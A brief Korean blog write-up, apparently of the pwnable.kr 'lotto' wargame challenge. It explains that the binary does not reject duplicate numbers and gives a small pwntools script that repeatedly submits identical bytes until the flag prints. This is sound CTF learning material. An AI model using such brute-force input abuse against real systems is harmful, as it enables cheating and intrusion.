[pwnable.kr] lotto

이동화·2025년 7월 21일
post-thumbnail

또 입력값 검증에 찐빠를 냈다.
로또 번호 입력을 중복으로 넣으면 1/45 확률로 무조건 당첨이 된다.

from pwn import *

p = process(["./lotto"])

#p.recvuntil(b"Exit\n")


for i in range(100):
    #p.recvuntil(b"Exit\n")
    p.sendline(b"1")
    p.sendline(b"------")
    print(p.recvline())

진짜 개대충 코드짜도 중간에 flag가 섞여나온다.
확률이 2%면 개혜자다

profile
notion이 나은듯

0개의 댓글